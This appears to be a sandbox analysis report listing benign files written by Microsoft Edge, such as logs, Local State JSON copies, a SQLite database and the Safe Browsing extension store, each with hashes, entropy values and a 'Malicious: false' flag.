SSDEEP:	6:1Q6cROq2PN723oH+TcwtfrzAdIFUt86Q6xZmw+6Q6rkwON723oH+TcwtfrzILJ:1QovVaYeb9FUt86QU/+6QU5OaYeb2J
MD5:	DE1E7F555658E2C300FB55B5DF9FDA03
SHA1:	89B1FFA8A0C205AB2F9CCE50C54A2C897C2788DC
SHA-256:	87A1B2D99E2C48C440EFEBA61950059047FA282B927C20D5570491471589243F
SHA-512:	34E47CF8BC3DD7A1D0DC1F8BA39288E3AFA23C9C08799F2C10A747E536895EC35EF60653964DF87793FAE30F713B2A80848E5516AE4B22044F8D60990AA2CB36
Malicious:	false
Preview:	2024/10/29-12:59:30.745 1f34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-12:59:30.746 1f34 Recovering log #3.2024/10/29-12:59:30.746 1f34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.236357477238326
Encrypted:	false
SSDEEP:	6:1Q6cROq2PN723oH+TcwtfrzAdIFUt86Q6xZmw+6Q6rkwON723oH+TcwtfrzILJ:1QovVaYeb9FUt86QU/+6QU5OaYeb2J
MD5:	DE1E7F555658E2C300FB55B5DF9FDA03
SHA1:	89B1FFA8A0C205AB2F9CCE50C54A2C897C2788DC
SHA-256:	87A1B2D99E2C48C440EFEBA61950059047FA282B927C20D5570491471589243F
SHA-512:	34E47CF8BC3DD7A1D0DC1F8BA39288E3AFA23C9C08799F2C10A747E536895EC35EF60653964DF87793FAE30F713B2A80848E5516AE4B22044F8D60990AA2CB36
Malicious:	false
Preview:	2024/10/29-12:59:30.745 1f34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-12:59:30.746 1f34 Recovering log #3.2024/10/29-12:59:30.746 1f34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bbcf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bc3c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bd46.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e446.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42007.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ce78.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF52a24.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089795350402333
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSdi1zNtPM+kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2lkzItSmd6qE7lFoC
MD5:	ECACADB89E3A391145E420172AEEEE2C
SHA1:	2A1CC9D75C449CE28D0BEE6D373870A24E944568
SHA-256:	B1280A7C3030F07FD66B1D5BC64D3B24142BBC53AE17535CE56CC6E5D1C0B8BD
SHA-512:	9CD69ED32EDA68053966AE7096D00CF8B8A5076530C1C4151A228BFCF658A5DCF9E4B645DB10B9D5DF13868ECB42ECEABFE42875C81EDCB389CB2CD3D96AA98A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036209
Entropy (8bit):	4.001510425779306
Encrypted:	false
SSDEEP:	49152:qPxYaNEMRzlPVitWqhhD67KH4dXs8QduRIKj4M1DRhOS0JWpayuEJnIhw8Kb0aHb:g
MD5:	C1758D43350CEE1FE56D995DDF2970D3
SHA1:	F0E67282903DB69121D8E7DE6BB6246FE7EE0252
SHA-256:	8AB4C629A191F716F92E8EBAE9603FCDED7AC327B0B9C9750556B05708977446
SHA-512:	22E7DFA8BEAE6D6ADAEA4B3D33C0A8CCE61F6CEAB927D4FE843BC05B9E7D6EBDF00EA6F2AED9CC18A8D7B5FC8D1C83C24B908FEF678CE3F7320C84F9F1887D6C
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036209
Entropy (8bit):	4.001510425779306
Encrypted:	false
SSDEEP:	49152:qPxYaNEMRzlPVitWqhhD67KH4dXs8QduRIKj4M1DRhOS0JWpayuEJnIhw8Kb0aHb:g
MD5:	C1758D43350CEE1FE56D995DDF2970D3
SHA1:	F0E67282903DB69121D8E7DE6BB6246FE7EE0252
SHA-256:	8AB4C629A191F716F92E8EBAE9603FCDED7AC327B0B9C9750556B05708977446
SHA-512:	22E7DFA8BEAE6D6ADAEA4B3D33C0A8CCE61F6CEAB927D4FE843BC05B9E7D6EBDF00EA6F2AED9CC18A8D7B5FC8D1C83C24B908FEF678CE3F7320C84F9F1887D6C
Malicious:	false
